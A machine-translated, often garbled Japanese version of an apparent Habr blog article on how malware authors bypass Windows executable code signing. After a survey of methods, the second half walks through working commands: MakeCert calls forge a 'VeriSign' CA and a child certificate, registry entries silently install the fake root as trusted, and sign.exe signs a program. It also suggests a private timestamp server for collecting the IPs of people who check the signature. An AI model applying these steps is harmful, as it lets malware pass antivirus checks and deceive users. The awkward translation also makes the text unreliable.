実行可胜ファむルのデゞタル眲名ずマルりェアのこの保護のバむパス

画像

ハブラこんにちは



たあ、圌らはカルマの問題を䜕ずか解決できたように芋えたすが、珟圚のトピックに぀いおは䞀切觊れおおらず、その倖芳の特定の遅延のみを説明しおいたす最初の蚈画は昚幎11月でした。



今日は、実行可胜ファむルの電子眲名のシステムず、このシステムを迂回しお改ざんする方法に぀いおの小さなレビュヌをご玹介したす。 非垞に効果的な回避策の1぀に぀いおも詳现に怜蚎したす。 蚘茉されおいるむンフェはすでに数か月前であるずいう事実にもかかわらず、誰もがそれに぀いお知っおいるわけではありたせん。 以䞋に説明する補品の補造元には、説明されおいる資料が通知されおいるため、この問題の解決策は、それを考慮した堎合、その責任です。 たくさんの時間があったからです。



理論



実行可胜ファむルの電子眲名のアむデアず技術は、Windows NTの時代に始たりたした。 Windows Vistaの登堎以来、マむクロ゜フトはこのテクノロゞを促進するために積極的な䌚瀟を立ち䞊げたした。 メヌカヌの考えによるず、眲名されたコヌドはこのコヌドの信頌できる䜜成者からのみ提䟛されるため、システムに害を䞎えないこずが保蚌され、゚ラヌから保護されたす 3ハハ 。



ただし、眲名メカニズムはかなり耇雑な暗号化メカニズムを䜿甚するこずが最も倚いため、眲名されたコヌドに察する䞀般的な信頌が広がっおいたす。 りむルス察策ベンダヌはこれから逃れたせんでした。 真実です。コヌドが眲名されおいる堎合、明らかにりむルスではないため、アプリオリに信頌できるため、誀怜知の可胜性が䜎くなりたす。 そのため、ほずんどの最新のりむルス察策補品では、デフォルトで眲名枈みファむルのチェックがバむパスされ、スキャン速床が向䞊し、誀怜知の可胜性が䜎くなりたす。 さらに、倚くの堎合、眲名されたプログラムは、ヒップの「信頌できる」行動分析のカテゎリに自動的に入力されたす。



有効な眲名を䜿甚しお䜜成物に眲名するこずにより、りむルス䜜成者は、アクティブで定期的に曎新されるりむルス察策に感染するこずになる顧客をかなり倚く獲埗するこずが明らかになりたす。 明らかに、これは非垞においしい䞀口です。これは、コヌドが有効なRealtek蚌明曞で眲名された既に有名なStuxnetりむルスの䟋で簡単に目立ちたすJMicronからのより遅い眲名も報告されたした。



しかし、このアプロヌチには裏返しがありたす。䟵害された眲名を特定するずすぐに応答し、眲名の事実によっお、AVベンダヌは眲名怜出を行い、100の応答であるこずが明らかです。 眲名に必芁な盗たれた蚌明曞を取埗するのは非垞に費甚がかかるこずを考えるず、りむルス䜜成者が有効な秘密鍵なしで、たたはそのような鍵を個別に生成するこずにより、眲名怜蚌メカニズムの完党なバむパスに関心があるこずは明らかです。 これにより、りむルス察策補品の保護をバむパスするだけでなく、譊告なしにドラむバヌずActiveXコンポヌネントをむンストヌルするこずができ、通垞は眲名なしで䜕もむンストヌルできないx64の䞖界に䟵入するこずができたす。



しかし、実際にはそれに぀いおの詳现。



ç·Žç¿’



偉倧な者の誰かは、敵に先んじるには、圌のように考え始めなければならないず蚀いたした。 それで、もし私たちがりィルスメヌカヌであるならば、私たちは䜕ができるでしょうか



1.クリヌンなファむルから蚌明曞情報をコピヌしたす。



これは珟時点で最も䞀般的な方法です。 眲名情報は、信頌できる発行元のチェヌンに至るたで、现郚たでコピヌされたす。 このようなコピヌは、ナヌザヌの目にのみ有効であるこずは明らかです。 ただし、OSが衚瀺する内容は、経隓の浅い人を混乱させ、別の䞍具合ずしお認識される可胜性がありたす。すべおの発行元が正しい堎合、この眲名が無効なのはなぜですか。 ああ、ああ-そのような過半数。



2.停名で自己眲名蚌明曞を䜿甚したす。



䞊蚘のオプションに䌌おいたすが、蚌明曞パスのチェヌンもコピヌされない点が異なりたす。



3.停のMD5。



MD5アルゎリズムの匱点は長い間説明されおきたずいう事実 ここずここ にも関わらず、電子眲名では䟝然ずしお頻繁に䜿甚されおいたす。 ただし、MD5ハッキングの実際の䟋は、非垞に小さいファむルに関係するか、コヌドの誀動䜜に぀ながりたす。 実際には、MD5アルゎリズムで停のクラックされたシグネチャを持぀りむルスは芋぀かりたせんが、それにもかかわらず、この方法は理論的には可胜です。

4.通垞の手順に埓っお蚌明曞を取埗し、悪意のある目的に䜿甚したす。



いわゆるリスクりェア、アドりェア、停のアンチりむルスの䜜者の最も䞀般的な方法の1぀。 䟋ずしお、停のPerfect Defender暙準的な詐欺「無料でスキャン-りむルスに感染しおいる-匊瀟に支払い、削陀したす」がいく぀かのオフィスの眲名ず共に存圚したす。

•ゞャン゜ビllc

•Perfect Software llc

•Sovinsky llc

•Trambambon llc



これがどのように行われるかは、囜内のwinlocker開発者によっお説明できたす。開発者は、「ゞョヌクプログラム」などに぀いお小さな手玙を曞いおおり、詐欺に関する蚘事から保護されおいたす。 そしお、私たちは生きおいたす...



興味深いこずに、次の所有者名を持぀絶察に通垞のプログラムがありたす。

•怜蚌枈み゜フトりェア

•正芏の゜フトりェアアップデヌト限定

•ブラりザプラグむン



これを本圓に信じおいるのであれば、蚌明曞を䞀芋しお間違えるこずは難しくないこずは明らかです。



たた、認蚌センタヌから眲名を取埗するこずは決しお困難ではないこずに泚意しおください。 たずえば、RapidSSLは怜蚌に電子メヌルのみを䜿甚したす。 通信がadmin、administrator、hostmaster、info、is、it、mis、postmaster、root、ssladminなどのアドレスからのものである堎合、

ssladministrator、sslwebmaster、sysadmin、たたはwebmaster@somedomain.com-明らかにドメむン所有者が曞いおいたすよね  さらに3぀の母 。 しかし、アりト゜ヌシングずeコマヌスを提䟛する栄光の䌚瀟Digital RiverDRは、通垞、すべおの顧客に蚌明曞を提䟛したす。 MSNSpyMonitor、WinFixer、QuickKeyLogger、ErrorSafe、ESurveiller、SpyBuddy、TotalSpy、Spynomore、Spypal、および䞀般的にすべおの眲名枈みDRファむルの玄0.6がゞャンクであり、すべおの眲名枈みDRファむルの5以䞊が朜圚的に䞍芁であるこずも䞍思議ではありたせん。



公平に蚀うず、x64ドラむバヌぞの眲名は決しお簡単ではないこずに泚意しおください。この堎合、これたでのずころ違反は確認されおいたせん。



5.信頌できる䌚瀟の埓業員を芋぀けお、コヌドに眲名するよう䟝頌したす。



コメントはありたせん。 誰もがお金を愛しおいたす。 唯䞀の質問は合蚈です:)



6.蚌明曞を盗みたす。



珟圚、特に蚌明曞の盗難のために「投獄」されおいるトロむの朚銬の3぀の倧きなファミリヌがありたす。 これは

•アドレナリン

•りルスニフ

•れりス

•SpyEye可胜な堎合



それにもかかわらず、これらのトロむの朚銬の新しいバヌゞョンで盗たれた蚌明曞を䜿甚する倧芏暡なケヌスは今のずころ気づかれおいたせん。 おそらくこれは袖の切り札ですか 時間が教えおくれたす...



7.信頌できる開発者開発システムに感染し、眲名前にリリヌスに悪意のあるコヌドを挿入したす。



このような感染の兞型的な䟋は、Induc.aりむルスの抂念です。 りむルスは、コンパむル段階でコヌドを挿入し、開発システムに感染したす。 その結果、開発者は、目に芋えない「付属物」が自分のプログラムに登堎したこずすら知りたせん。 リリヌスは眲名に合栌し、完党な蚌明曞が発行されたす。 ホリネを芋る しかし、圌はそうです ;



幞いなこずに、Induc.aはPoCのみであり、远加の悪意のある機胜を実装せずに開発システムの感染のみを実行したす。



さお、今-玄束のお菓子。



脆匱性たたはこの倏の過ごし方



ご芧のずおり、眲名を回避するための倚くのオプションがありたす。 この䟋では、䞊蚘の修正バヌゞョン1および2を怜蚎したす。



それで、䜕が必芁ですか

-MakeCert.exe

-cert2spc.exe

-sign.exe

-ruki.sys

-mozg.dll



ハブラクタヌがこれらのコンポヌネントを芋぀けるこずは難しくないず思いたすが、最も怠zyな人のために、最初の3぀をここに投皿しおいたす 。 ハヌドりェアぞの緊密な結合、クロスプラットフォヌムずコヌドの特異性の完党な欠劂を考慮しお、私は最埌の2぀を投皿したせん:)



そのため、ある皮の信頌できる発行元蚌明曞を䜜成したす。 同じVeriSignに関する情報を可胜な限りコピヌしおみたしょう。

MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer







実行の結果、眲名に適したveri.pvkずveri.cerを取埗したす。



次に、受信したばかりを䜿甚しお子蚌明曞を䜜成したす。



MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer







その結果、kl.pvkずkl.cerを取埗したす。これらは、信頌できない発行元からの信頌できる蚌明曞です。 単玔なナヌザヌをだたしお、チェヌンを長時間継続するこずができたす。 しかし、結果は1぀になりたす。チェヌン内に信頌されおいない芁玠が1぀あるため、蚌明曞は無効になりたす。 しかし



Windowsでは、自己眲名蚌明曞を含む任意の蚌明曞を信頌できるものずしおむンストヌルできたす。 これは䟿利です。堎合によっおは、開発者は自分で自己眲名蚌明曞を䜜成し、それを信頌できる蚌明曞に入力しお、アプリケヌションで冷静に䜜業するこずができたす。 私たちの堎合、このような゚ントリは明らかにレゞストリぞの情報の単玔な゚ントリであるため、これは二重に䟿利です。 情報は特定のシステムに固有のものではありたせん。



テスト仮想マシンにレゞストリモニタヌをむンストヌルした埌、必芁な蚌明曞をVeriSignから信頌できるものに远加したす。 倉曎が発生した堎所を远跡したしょう-そしお出来䞊がりです 察応するレゞストリブランチをダンプしお、むンストヌラヌに配眮できたす。 合蚈で、むンストヌラヌはレゞストリ情報を入力し、プラむマリ発行者の蚌明曞を自動的に信頌できるものに倉換し、チェヌン党䜓を怜蚌したす。



すべおのカヌドを完党に開かないようにするために、私の堎合、レゞストリダンプは次のように芋えたずしか蚀えたせん。

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]

"Blob"=hex:04,00,00,.....








たあ、たたは珟圚のナヌザヌのみの堎合、

Windows Registry Editor Version 5.00



[HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates\A61F9F1A51BBCA24218F9D14611AFBA61B86C14C]

"Blob"=hex:04,00,00,.....








このデヌタをレゞストリに入力するず、停の眲名チェヌンを持぀プログラムがsigverif.exeによっお自動的にチェックされたした。 さお、受け取った蚌明曞の助けを借りおコヌドに眲名するのは䞀般的に簡単で、バッチファむルだけです



cert2spc.exe kl.cer kl.spc

sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe

del kl.spc








タむムスタンプtimestamp.verisign.com/scripts/timstamp.dllの䜿甚に泚意しおください-理論的には、独自のドメむンで独自のサヌバヌを䜿甚するこずは可胜です。これにより、誰かがコンピュヌタヌ䞊のプログラムの眲名をチェックするたびに、IPを取埗するこずができたす。時間を確認しおください。 䟿利ですか ;



面癜いこずに、2010幎10月から11月に資料を曞いた時点では、Kaspersky Internet Security 2011は特定のレゞストリブランチを远跡しおいたせんでした。チェヌンの怜蚌はOSの裁量に任されおいたした。 今はわかりたせんが、䞀郚のブランチがブロックされおいるようです...チェックしお、登録解陀しおください



眲名に眲名するために、パブリックドメむンで利甚できない特定の゜フトりェアを䜿甚するこずが可胜であるこずに泚意する必芁がありたす。 圌が眲名を砎らないこずは明らかですが、X500フィヌルドに入力するためのはるかに柔軟な可胜性を提䟛したす。 ここでは、奜奇心example盛な䟋をダりンロヌドできたす。 アヌカむブ-Microsoft眲名の有無にかかわらず、人気のある亀換甚メモ垳bred3_2k offsite のファむル:)眲名が完党に有効になるには、キヌ+ .regファむルに含たれるレゞストリを倉曎するだけで十分です。 同様に、キヌ-.regファむルはこれらの倉曎を砎棄したす。 蚌明曞のパスを远跡する-奜奇心が匷い:)



「䟋」の䜜成者が独自のタむムスタンプサヌバヌを登録したずいう事実にすぐに泚意を向けたす。これにより、操䜜によっお䜜成者がIPを認識できるようになりたす。 必芁に応じお、これらの申し立おを远跡し、コメントの登録を解陀できたす;



必芁に応じお、次の蚘事では、信頌された蚌明曞ぞの蚌明曞の導入を避けるために、察応するレゞストリブランチを保護するためにヒップを構成する方法を説明したす。 コメントの賌読を䞭止-この脆匱性はすでに修正されおいる可胜性がありたす。



この蚘事では、材料のプレれンテヌションJarno NiemelaF-Secureを䜿甚したした。



All Articles